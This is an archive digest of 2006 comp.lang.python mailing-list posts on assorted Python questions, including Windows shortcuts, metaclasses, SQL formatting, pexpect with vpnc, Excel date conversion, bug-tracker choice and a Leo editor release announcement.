From gagsl-py at yahoo.com.ar  Fri Oct 20 16:02:20 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 17:02:20 -0300
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
Message-ID: <7.0.1.0.0.20061020170023.05bb0ab0@yahoo.com.ar>

At Friday 20/10/2006 12:20, Ben Sizer wrote:

>I'd like to be able to drag a file onto a Python script in Windows
>Explorer, or send that file to the script via the Send To context-menu
>option, so I can then process that file via sys.argc.
>
>Unfortunately, I can't drag items onto the Python script, because
>Windows doesn't recognise that the script is executable (unless I
>double-click it, upon which it runs as usual, without the command line
>parameter of course)

Create a shortcut and drop the file over it.

>and won't set it as a drop target. And it won't
>even appear in the Send To menu after the usual steps are taken to get
>it there.

Same here: put a shortcut to the script on your SendTo folder 
(wherever it resides)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From michele.simionato at gmail.com  Wed Oct 18 04:27:22 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 18 Oct 2006 01:27:22 -0700
Subject: creating many similar properties
In-Reply-To: <1161158181.103138.294330@b28g2000cwb.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
Message-ID: <1161160042.410129.220110@k70g2000cwa.googlegroups.com>

George Sakkis wrote:
>
> from itertools import chain, izip, repeat
>
> def ByteProperties(*names, **defaulted_names):
>     def byte_property(name, default):
>         return property(lambda self: getattr(self, name, default),
>                         lambda self,v: setattr(self, name, v%256))
>     def make_class(clsname, bases, dict):
>         for name,default in chain(izip(names, repeat(127)),
>                                   defaulted_names.iteritems()):
>             assert name not in dict # sanity check
>             dict[name] = byte_property('_'+name, default)
>         return type(clsname,bases,dict)
>     return make_class
>
>
> class RC(object):
>     __metaclass__ = ByteProperties('pwm01', pwm02=64)

Notice that you are NOT using a custom metaclass here, you are just
using the metaclass hook
and you will avoid all issues of custom metaclasses. This is exactly
the approach I advocate
in the paper I referred before, so I think your solution is pretty safe
in that respect. Still I
think in this particular problem avoiding the __metaclass__ at all is
possible and it should be
preferred, just for sake of simplicity, not of safety).

 Michele Simionato

  M



From guido.thelen at googlemail.com  Thu Oct 19 17:47:17 2006
From: guido.thelen at googlemail.com (guido.thelen at googlemail.com)
Date: 19 Oct 2006 14:47:17 -0700
Subject: Insert characters into string based on re ?
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
Message-ID: <1161294437.623792.37740@i3g2000cwc.googlegroups.com>

Hi,
initially I had the same idea before I started writing a SQL Formatter.
I was sure that coding a few "change" commands in a script would
reformat my SQL statements. But step by step I recognized that SQL
statements can not be formatted by regular expressions. Why not?
Because there is a risk that you change e.g. values in literals and
this is changing the result of a query!!
Example:

--> Select pieces where status like "Join with master piece"

Inserting line-breaks before joins using a "change" command would
change the SQL statement into

--> Select pieces where status like "\nJoin with master piece"

The new select statement is no more working in the same way as the
original one.

In the meantime, the "script" has about 80 pages of code .....

Regards
GuidoMarcel



From rpdooling at gmail.com  Mon Oct 30 11:26:33 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 30 Oct 2006 08:26:33 -0800
Subject: IE7 skulduggery?
References: <1162215096.900543.78860@k70g2000cwa.googlegroups.com>
Message-ID: <1162225593.375844.182300@m7g2000cwm.googlegroups.com>

Found fix for this at Mozilla:

http://kb.mozillazine.org/Default_browser

Apparently, even though it LOOKS and ACTS like Firefox is still your
default browser after an IE7 upgrade, it's not.

To fix, you must run:

firefox.exe -silent -nosplash -setDefaultBrowser

Which also fixes the webbrowser. py problem.

At least so far.

rd



From sturlamolden at yahoo.no  Wed Oct 25 13:50:00 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 25 Oct 2006 10:50:00 -0700
Subject: Python's CRT licensing on Windows <-- FUD
In-Reply-To: <453FA03E.8070105@v.loewis.de>
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
	<mailman.1184.1161791523.11739.python-list@python.org>
	<1161794422.707799.273200@b28g2000cwb.googlegroups.com>
	<453FA03E.8070105@v.loewis.de>
Message-ID: <1161798600.027493.110240@e3g2000cwe.googlegroups.com>


Martin v. L?wis wrote:

> As Fredrik Lundh says: Ask your lawyer. We cannot really interpret the
> Microsoft license for you (I can only give it to you in case you don't
> have it), and I can't formally give you permission to do copy something
> that Microsoft has the copyright to.

I wasn't asking you to.

> So what do you hope to get from the newsgroup article?

Maybe someone have gone through the trouble and got a clear answer from
Microsoft.

> Free legal
> advice? You can't really get that; you can only get opinions. You
> still have to draw your own conclusions.

You only get "opinions" from lawyers as well. I am not really
interested in anyone's opinion, lawyer or not.



From noway at sorry.com  Wed Oct  4 03:43:21 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 07:43:21 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
Message-ID: <tCJUg.134232$zy5.1829450@twister1.libero.it>

A.M. Kuchling wrote:

>> ... using a non open source tracker (called JIRA - never heard
>> before of course) for Python itself.
>
> Other projects do use it; see
> <http://wiki.apache.org/general/ApacheJira> for a partial list, and a
> link to the Apache Software Foundation's issue trackers.

which, in my humble opinion, is just a list of other examples of projects which
are misguided. People seem to have no idea when a company is sold, when a CEO
is changed, or something like that. Hhistory's repeating, but hackers are not
learning.

>> Does this smell "Bitkeeper fiasco" to anyone else than me?
>
> The committee did expect this recommendation to be controversial.  :)

I guess :)

In fact, I have a deepest hope that this recommendation was just a fake just to
get people setup a roundup installation...
-- 
Giovanni Bajo




From msherman77 at yahoo.com  Tue Oct 31 17:09:30 2006
From: msherman77 at yahoo.com (Michael S)
Date: Tue, 31 Oct 2006 17:09:30 -0500 (EST)
Subject: report progress from C function
Message-ID: <20061031220930.49523.qmail@web88307.mail.re4.yahoo.com>

Good day all.

I rewrote part of my program in C, it's a usually a
long task. I wanted to be able to report the progress
back to my python program. In  my module (in addition
to the function that performs the above-mentioned
task) there is a function that returns the variable,
indicating the progress. However I am not sure how to
call it. Once I call the C function that does the work
(it's a while loop that takes minutes sometimes) I
can't call that progress function.  
Any ideas?

Thanks in advance,
Michael


From eurleif at ecritters.biz  Tue Oct  3 18:21:20 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Tue, 03 Oct 2006 18:21:20 -0400
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
Message-ID: <4522e238$0$25774$4d3efbfe@news.sover.net>

erikwickstrom at gmail.com wrote:
> I'm trying to get this bit of code to work without triggering the
> IndexError.
> 
> import shutil, os, sys
> 
> if sys.argv[1] != None:
>     ver = sys.argv[1]
> else:
>     ver = '2.14'

Catch it:

try:
     ver = sys.argv[1]
except IndexError:
     ver = '2.14'


From fredrik at pythonware.com  Mon Oct  2 03:59:45 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 2 Oct 2006 09:59:45 +0200
Subject: Problem with .next() method adding junk characters.
References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>
Message-ID: <efqgti$kn6$1@sea.gmane.org>

"Rainy" <ak at silmarill.org> wrote:

> I'm just curious as to what's happening. I understand that you're not
> supposed to call .next on a file open for writing. But I don't know why
> and how it does what happened here; besides, I've seen the same thing
> happen before when I was doing something else with file
> open/write/close, but I don't remember the specifics.

C's stdio library require you to call "flush" when switching between reading and
writing; if you don't, the result is undefined.

</F> 





From fredrik at pythonware.com  Sat Oct 28 05:16:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 11:16:17 +0200
Subject: Where do nested functions live?
In-Reply-To: <871wosdfvr.fsf@benfinney.id.au>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
	<871wosdfvr.fsf@benfinney.id.au>
Message-ID: <ehv751$jfj$1@sea.gmane.org>

Ben Finney wrote:

> If you want something that can be called *and* define its attributes,
> you want something more complex than the default function type. Define
> a class that has a '__call__' attribute, make an instance of that, and
> you'll be able to access attributes and call it like a function.

I turned Steven's question and portions of the answers into a Python FAQ 
entry:

     http://effbot.org/pyfaq/where-do-nested-functions-live.htm

Hope none of the contributors mind.

</F>



From skip at pobox.com  Tue Oct 24 14:43:14 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 24 Oct 2006 13:43:14 -0500
Subject: mean ans std dev of an array?
In-Reply-To: <1161713593.138960.310030@f16g2000cwb.googlegroups.com>
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
	<7xpsci665e.fsf@ruckus.brouhaha.com>
	<1161713593.138960.310030@f16g2000cwb.googlegroups.com>
Message-ID: <17726.24258.697571.695473@montanaro.dyndns.org>


    >> n = len(a)
    >> mean = sum(a) / n
    >> sd = sqrt(sum((x-mean)**2 for x in a) / n)
    ...
    >> If there is a faster way... like transferring the array to a
    >> different container class...  but what?

Perhaps:

    >>> import scipy
    >>> print scipy.mean([1,2,3,4,5,6])
    3.5
    >>> print scipy.std([1,2,3,4,5,6])
    1.87082869339

Skip


From bruno at modulix.org  Wed Oct 11 16:00:05 2006
From: bruno at modulix.org (bruno de chez modulix en face)
Date: 11 Oct 2006 13:00:05 -0700
Subject: How to be a good programmers?
In-Reply-To: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
Message-ID: <1160596805.449337.81350@c28g2000cwb.googlegroups.com>


rijamoria at gmail.com a ?crit :

> I just started to learn python programming because I need to be in the
> group when google come in Madagascar, So I want to know, what kind of
> python programming I have to start to learn? Zope?...?

Not sure what you mean about Google and "being in the group", but
Google doesn't use Zope AFAICT - and I'd rather not start learning
Python with Zope anyway. Why not learning the language first ? This
won't make you a "good programmer", but that's where I'd start anyway...



From duncan.booth at invalid.invalid  Fri Oct 13 07:46:52 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 13 Oct 2006 11:46:52 GMT
Subject: Insert characters into string based on re ?
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
	<1160738594.288895.136560@i42g2000cwa.googlegroups.com>
Message-ID: <Xns985B82089F1AFduncanbooth@127.0.0.1>

harvey.thomas at informa.com wrote:

> 
> Matt wrote:
>> I am attempting to reformat a string, inserting newlines before
>> certain phrases. For example, in formatting SQL, I want to start a
>> new line at each JOIN condition. Noting that strings are immutable, I
>> thought it best to spllit the string at the key points, then join
>> with '\n'. 
> 
> I think that re.sub is a more appropriate method rather than split and
> join
> 
> trivial example (non SQL):
> 
>>>> addnlre = re.compile('LEFT\s.*?\s*JOIN|RIGHT\s.*?\s*JOIN',
>>>> re.DOTALL + re.IGNORECASE).sub addnlre(lambda x: x.group() + '\n',
>>>> '... LEFT JOIN x RIGHT OUTER join y') 
> '... LEFT JOIN\n x RIGHT OUTER join\n y'
> 
> 
Quite apart from the original requirement being to insert newlines before 
rather than after the phrase, I wouldn't have said re.sub was appropriate.

>>> addnlre(lambda x: x.group() + '\n',
 "select * from whatever where action in ['user left site', 'user joined site']")
"select * from whatever where action in ['user left site', 'user join\ned site']"

or with the newline before the pattern:

>>> addnlre(lambda x: '\n'+x.group(),
 "select * from whatever where action in ['user left site', 'user joined site']")
"select * from whatever where action in ['user \nleft site', 'user joined site']"



From chris.cavalaria at free.fr  Fri Oct 20 10:29:26 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Fri, 20 Oct 2006 16:29:26 +0200
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <4538dd3b$0$24774$426a74cc@news.free.fr>

Kevin Walzer a ?crit :
> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn? I had hoped to
> reduce my learning curve, but I'm very concerned that I simply can't do
> what I want to do with Tkinter. What do other Tkinter developers think?

Nobody mentionned it, but I think you should try PyQT and PyGTK before 
wxPython. Myself, I do not like wx : it looks too much like the MFC.

PyGTK is good, but GTK doesn't work that well on windows. PyQT is very 
good but you need Qt4 to get a free version for Windows. And it is GPL 
so it might not be what you are looking for. Or you can pay for it and 
get the non GPL version.


From duncan.booth at invalid.invalid  Thu Oct  5 06:48:36 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 5 Oct 2006 10:48:36 GMT
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
Message-ID: <Xns985378283690Dduncanbooth@127.0.0.1>

"Matthew Warren" <Matthew.Warren at Digica.com> wrote:

> Print "There are "+number+" ways to skin a "+furryanimal
> 
> But nowadays, I see things like this all over the place;
> 
> print("There are %s ways to skin a %s" % (number, furryanimal))
> 
> Now I understand there can be additional formatting benefits when
> dealing with numbers, decimal places etc.. But to me, for strings, the
> second case is much harder to read than the first.
> 

apart from the spurious parentheses you added in the second one, you also 
missed out this variant:

print "There are", number, "ways to skin a", furryanimal

That only works for print though, not for other uses of strings, but it is 
related to the main reason I use format strings instead of concatenation. 

The problem I have with your first option is the large number of times I've 
written:

print "There are"+number+"ways to skin a"+furryanimal

or at least something equivalent to it. If I try to make the same mistake 
with a format string it jumps out to me as wrong:

"There are%sways to skin a%s" % (number, furryanimal)

Also, having a variable of type str called 'number' seems perverse (and 
probably error prone), so I suspect I might need something like:

   print "There are "+str(number)+" ways to skin a "+furryanimal

but the format string does the conversion for free.

The other main reason for preferring format strings is that they make it 
easier to refactor the code. If you ever want to move the message away from 
where the formatting is done then it's a lot easier to extract a single 
string than it is to clean up the concatenation.


From drake at ultech.com  Sun Oct 29 16:26:47 2006
From: drake at ultech.com (drake at ultech.com)
Date: 29 Oct 2006 13:26:47 -0800
Subject: Get pexpect to work
References: <pan.2006.10.29.08.44.06.380170@juriansluiman.nl>
	<pan.2006.10.29.20.56.56.663600@juriansluiman.nl>
Message-ID: <1162157207.693739.216820@m7g2000cwm.googlegroups.com>


Jurian Sluiman wrote:
> Ok, somebody helped my and found with "help(child.sendline)" that the
> number (7) is the number of characters from my password.
>
> Still there doesn't seem to be that anything strange is happening. With
> the logfile printed out, I found that child.expect places a 0 behind the
> next rule. Is this always what's happening? And is that 0 causing all my
> troubles?
>
> I'm a newbie with python, so I don't know much about it. This is (again)
> the output, but with a sys.stdout line between it:
>
> >>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf")
> >>> child.logfile = sys.stdout
> >>> child.expect(".* password .*: ")
> Enter password for wb1264222 at luchtbrug.tudelft.nl: 0
> >>> child.sendline("[my_password]")
> 7
>
> Any help is really appreciated! I can search on the Internet, but with no
> clue to search for and which keywords to use, all results don't help me.
>
> Thanks,
> Jurian
>
> PS. Sorry for my bad English, I hope you can understand it.

I use a slightly different approach for starting vpnc-connect if that
will help:
1. have your script create a temporary vpnc configuration file
(including your password):
    f1=open('/tmp/vpn.conf', 'w')
    f1.write('IPSec gateway ' + vpnAddress + '\n')
    f1.write('IPSec ID ' + vpnGroup + '\n')....etc.
2. create a temporary results file, such as f2 =
open('/tmp/vpncResults.txt', 'w')
3. start the vpn client: p = subprocess.Popen('/usr/sbin/vpnc-connect
/tmp/vpn.conf', shell=True, stdout=f2).stdout
4. poll the results file to determine whether or not the connection
succeeded
5. delete the temporary configuration file

Creating a temporary configuration file keeps my password out of clear
text other than for the few seconds the configuration file lives on my
hard drive. In reality, my program runs within the Twisted event-driven
framework, so I just create a deferred object when invoking
vpnc-connect and wait for the callback to see if the connection was
successful, but an earlier incarnation of my program worked with the
above code.



From veracon at gmail.com  Sat Oct 14 11:37:31 2006
From: veracon at gmail.com (veracon)
Date: 14 Oct 2006 08:37:31 -0700
Subject: Making a shorter shebang
Message-ID: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>

Long story short, in order to use Python 2.5, I've compiled it in my
own account on my hosting. It works fantastic as
/home/my_username/python2.5, but the shebang is a bit long. Is there a
way to shorten it (environment variables?) or, even better, make
/usr/bin/env python point to it?

Thanks in advance!



From steve at holdenweb.com  Wed Oct  4 08:10:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 13:10:05 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <tCJUg.134232$zy5.1829450@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
Message-ID: <eg0899$9g5$1@sea.gmane.org>

Giovanni Bajo wrote:
> A.M. Kuchling wrote:
> 
> 
>>>... using a non open source tracker (called JIRA - never heard
>>>before of course) for Python itself.
>>
>>Other projects do use it; see
>><http://wiki.apache.org/general/ApacheJira> for a partial list, and a
>>link to the Apache Software Foundation's issue trackers.
> 
> 
> which, in my humble opinion, is just a list of other examples of projects which
> are misguided. People seem to have no idea when a company is sold, when a CEO
> is changed, or something like that. Hhistory's repeating, but hackers are not
> learning.
> 
> 
>>>Does this smell "Bitkeeper fiasco" to anyone else than me?
>>
>>The committee did expect this recommendation to be controversial.  :)
> 
> 
> I guess :)
> 
> In fact, I have a deepest hope that this recommendation was just a fake just to
> get people setup a roundup installation...

But sadly people are much happier complaining on c.l.py than exerting 
themselves to support the community with an open source issue tracker. 
Hello, Jira ....

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From claird at lairds.us  Tue Oct  3 23:28:36 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 4 Oct 2006 03:28:36 +0000
Subject: Manipulate PDFs
References: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com>
	<mailman.1167.1159881358.10491.python-list@python.org>
	<7fdbv3-h53.ln1@lairds.us>
Message-ID: <4cmbv3-lmh.ln1@lairds.us>

In article <7fdbv3-h53.ln1 at lairds.us>, I misled the newsgroup by writing:
			.
			.
			.
>On a large, Very Important Zope site I maintain, though, one which
>delivers thousands of dynamically-generated PDF images (not to be
>confused with the hundreds of thousands of PDF monthly statement
>accounts, invoices, ... I know other organizations generate), I 
>rely on html2pdf, along with small slices of ReportLab's freeware.
>Our users seem plenty happy.

Aieee!  Folks, I told falsehoods.  We're NOT using html2pdf, as
in <URL: http://html2pdf.seven49.net/ >, but something our source
*calls* html2pdf based on Easy Software's HTMLDOC <URL:
http://www.easysw.com/htmldoc/ >.  While we STRONGLY emphasize
free software in our installations, HTMLDOC has worked out great
for us.  Easy Software has consistently provided good service.

I apologize for the confusion.


From giles_brown at hotmail.com  Fri Oct  6 06:22:39 2006
From: giles_brown at hotmail.com (Giles Brown)
Date: 6 Oct 2006 03:22:39 -0700
Subject: How do I read Excel file in Python?
In-Reply-To: <1160092463.755080.127850@c28g2000cwb.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
	<mailman.1380.1160076037.10491.python-list@python.org>
	<1160077793.218033.108840@m73g2000cwd.googlegroups.com>
	<1160092463.755080.127850@c28g2000cwb.googlegroups.com>
Message-ID: <1160130159.381538.233160@k70g2000cwa.googlegroups.com>

John Machin wrote:
> houdinihound at yahoo.com wrote:
> > > > >>> excel_date = 38938.0
> > > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date)
> > > > >>> python_date
> > > > datetime.date(2006, 8, 11)
> > >
> > > Err, that's the wrong answer, isn't it? Perhaps it shoud be
> > > datetime.date(1900, 1, 29)?
> >
> > Actually was about to post same solution and got same results. (BTW
> > Simon, the OP date is Aug 9th, 2006).  Scratched head and googled for
> > excel date calculations... found this bug where it treats 1900 as leap
> > year incorrectly:
> > http://www.ozgrid.com/Excel/ExcelDateandTimes.htm
> >
> > Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the
> > calc:
> > >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2)
> > >>> python_date
> > datetime.date(2006, 8, 9)
> >
>
> ... and 2006-08-09 is only the correct answer if the spreadsheet was,
> when last saved, using the 1900 ("Windows") date system, not the 1904
> ("Macintosh") date system.

John,
Just for me own curiosity, is this Excel concept of date numbers same
as the OLE
concept (see http://msdn2.microsoft.com/en-us/library/82ab7w69.aspx or
search "MFC DATE" on MSDN).

I put in some test cases for conversion code here:
   http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496683

But would be interested to add any additional info on variations on
this theme.

Cheers,
Giles



From edreamleo at charter.net  Sat Oct 28 07:48:37 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Sat, 28 Oct 2006 06:48:37 -0500
Subject: ANN: Leo 4.4.2 final released
Message-ID: <usH0h.77$Pf7.40@newsfe03.lga>

Leo 4.4.2 final is now available at:
http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106

This release fixes a few bugs and adds support for controlling Leo from
Emacs using pymacs. There are no known significant bugs in this version of 
Leo.

Leo is a text editor, data organizer, project manager and much more. See:
http://webpages.charter.net/edreamleo/intro.html

The highlights of Leo 4.4.2:
----------------------------
- You can now store settings in myLeoSettings.leo without fear of those
settings
  being changed by cvs updates or in future versions of Leo.
- Leo's vnode and tnode classes are now completely independent of the rest
of Leo.
  Some api's have been changed.  This 'big reorg' and may affect scripts and
plugins.
- Leo's vnode and tnode classes can optionally be compatible with ZODB
databases,
  i.e., they can optionally derive from ZODB.Persistence.Persistent.
  See Chapter 17: Using ZODB with Leo for details.
- The leoOPML plugin defines commands to read and write OPML files.
- The slideshow plugin allows Leo to run slideshows defined by @slideshow
and @slide nodes.
- The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo
outlines.
- Much faster navigation through the outline.
- When focus is in the outline pane, you can move to headlines by typing the
first letter of headlines.
- The find command now optionally closes nodes not needed to show the node
containing the present match.
- Numerous changes that make Leo easier to use without using a mouse,
including new commands and options.
- Many new minibuffer commands now appear in the Cmds menu.
- A sax parser can now optionally read .leo files.
- Fixed numerous bugs.

Links:
------
Leo:        http://webpages.charter.net/edreamleo/front.html
What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html
Home:       http://sourceforge.net/projects/leo/
Download:   http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:        http://leo.tigris.org/source/browse/leo/
Leo's Wiki: http://leo.zwiki.org/FrontPage
Wikipedia:  http://en.wikipedia.org/wiki/Leo_%28text_editor%29
Quotes:     http://webpages.charter.net/edreamleo/testimonials.html

--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From lux at perpetua.org  Mon Oct  2 10:53:04 2006
From: lux at perpetua.org (Enrico)
Date: Mon, 2 Oct 2006 16:53:04 +0200
Subject: Help with ConfigParser
References: <K78Ug.314$R52.230@lon04-news-philips>
Message-ID: <452127b9$0$4563$4fafbaef@reader2.news.tin.it>

Hi,
from the documentation:

optionxform(option)

Transforms the option name option as found in an input file or as passed in
by client code to the form that should be used in the internal structures.
The default implementation returns a lower-case version of option;
subclasses may override this or client code can set an attribute of this
name on instances to affect this behavior. Setting this to str(), for
example, would make option names case sensitive.

Bye,
Enrico




From deets at nospam.web.de  Wed Oct 11 17:45:09 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 11 Oct 2006 23:45:09 +0200
Subject: dicts + amb
In-Reply-To: <1160601017.272078.63240@h48g2000cwc.googlegroups.com>
References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com>
Message-ID: <4p56v5Fha0o7U1@uni-berlin.de>

> Something unrelated that I don't know where to put.
> Recently I have seen the amb operator, it's not a simple operator. I
> have seen a (very simple) Ruby implementation:
> http://www.randomhacks.net/articles/2005/10/11/amb-operator
> I think a good amb implementation is a very complex thing. Can such
> operator be useful for Python too?

You might consider researching ALMA, a constraint-imperative programming 
language that allows for program execution to be rolled-back to 
so-called choicepoints. It heavily reminds me of that amb-operator of 
yours.

Diez


From dialUAZ###UZ#$AAtone at gWARAmail.com  Wed Oct  4 10:42:53 2006
From: dialUAZ###UZ#$AAtone at gWARAmail.com (Valentino Volonghi aka Dialtone)
Date: Wed, 4 Oct 2006 16:42:53 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>
	<7xr6xo97nd.fsf@ruckus.brouhaha.com>
	<efv582$6i9$1@sea.gmane.org> <87ac4ciynk.fsf@benfinney.id.au>
	<mailman.1222.1159934082.10491.python-list@python.org>
	<1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com>
	<mailman.1267.1159971993.10491.python-list@python.org>
Message-ID: <1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com>

Steve Holden <steve at holdenweb.com> wrote:

> > So clearly the 'get a daily backup of the data' is not the reason.
> > Backing up a sqlite database is pretty easy.
> > 
> Do you have any idea fo the scale of the Python issue (bug) database? Do
> you really think SQLite would be a suitable platform for it?

Considering that trac can also run on postgres or mysql and also
considering that both of these databases have enough tools to deal with
backups I think it's a non issue.

-- 
Valentino Volonghi aka Dialtone
Now Running MacOSX 10.4
Blog: http://vvolonghi.blogspot.com
New Pet: http://www.stiq.it


From mikeminer53 at hotmail.com  Wed Oct 25 19:43:43 2006
From: mikeminer53 at hotmail.com (mkPyVS)
Date: 25 Oct 2006 16:43:43 -0700
Subject: What's the best IDE?
In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
Message-ID: <1161819823.810257.159390@h48g2000cwc.googlegroups.com>

I perform python development for cross platform firmware integration
and analysis on a daily basis and the IDE I use and recommend is Komodo
from ActiveState. Our worldwide development group (30) has recently all
purchased the professional version as it integrates with several
version control systems, has a built-in python debugger, a
mutli-language/package GUI builder, and in-line code
lookup/auto-complete functionality. There are a few nice-to-haves which
aren't available such as: C (++, # or otherwise) auto-complete and
alternate py-documentation viewer but the pros far outweighed the cons
for our development team.
http://www.activestate.com/Products/Komodo/?tn=1



From meithamj at gmail.com  Mon Oct 23 20:36:14 2006
From: meithamj at gmail.com (meithamj at gmail.com)
Date: 23 Oct 2006 17:36:14 -0700
Subject: pretty basic instantiation question
In-Reply-To: <mailman.1024.1161646594.11739.python-list@python.org>
References: <mailman.2408.1161640980.11738.python-list@python.org>
	<mailman.1024.1161646594.11739.python-list@python.org>
Message-ID: <1161650174.804226.37720@m73g2000cwd.googlegroups.com>

Why do you need to know the number of instances. I know that Python
does not support Class Variable, but you can always create a global
variable and increase it whenever you add a new instance. this will
keep a record for you of how many instances you have.

sittner at lkb.ens.fr wrote:
> i'm very new to python, but i have a pretty basic question:
> let's say i have a class, and i need to create a different number of
> instances (changes every time - and i can't know the number in advance) in
> a loop.
> a function receives the number of instances that are needed, and creates
> them like,
> a=Myclass()
> b=Myclass()
> .
> .
> .
> .
> .
> .
> 
> what's the easiest way to go about this?
> 
> thanks,
> A



From ptmcg at austin.rr._bogus_.com  Sat Oct 14 05:27:36 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sat, 14 Oct 2006 09:27:36 GMT
Subject: SOAPpy and callback
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
	<_8NXg.46981$DU3.27448@tornado.texas.rr.com>
	<4p9r78Fi2olfU1@uni-berlin.de>
	<X4PXg.47137$DU3.34168@tornado.texas.rr.com>
	<4parepFho4q7U1@uni-berlin.de>
Message-ID: <c42Yg.91423$5o5.16771@tornado.texas.rr.com>

"Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
news:4parepFho4q7U1 at uni-berlin.de...
> Maybe we have a misunderstanding here. I'm not a native speaker, so bear 
> with me.
>
That's okay, I'll type very, very slowly.  :)

> In CORBA or RMI, there is a notion of an object/interface reference passed 
> around, which allows for callbacks in a natural way. Which is AFAIK not 
> the case in SOAP. Hell, they don't even know objects and stateful 
> connections...
>
Are you confusing SOAP with REST?  The standard I refer to defines a set of 
WSDL files that can be crunched to build implementation bindings for C#, 
Boo, Java, etc. (Unfortunately, not Python - there is some issue with SOAPpy 
that will not handle the input WSDL.)  These bindings do model the remote 
interface bindings as objects, and stateful connections and sessions are 
very much part of the standard.  If you like, you can download the WSDL 
files at http://dom.semi.org/web/wstandards.nsf/supmaterials.

It is true, the implementation of the callback in SOAP is quite crude, as it 
exposes the callback as an endpoint wrapped around a URL string.  Not very 
object-y at all - but then think back to CORBA again, and many systems did 
something similar by passing around names bound to objects in a nameserver, 
or just cut to the chase and shipped IOR's around directly.

> That you obviously can define a system that needs several SOAP servers to 
> interact with each other - well, you could also perform inter process 
> communication using printed documents, some horses and either OCR or data 
> typists. But this isn't exactly inter process communication in my book, 
> albeit there certainly _are_ processes, _and_ communication :)
>
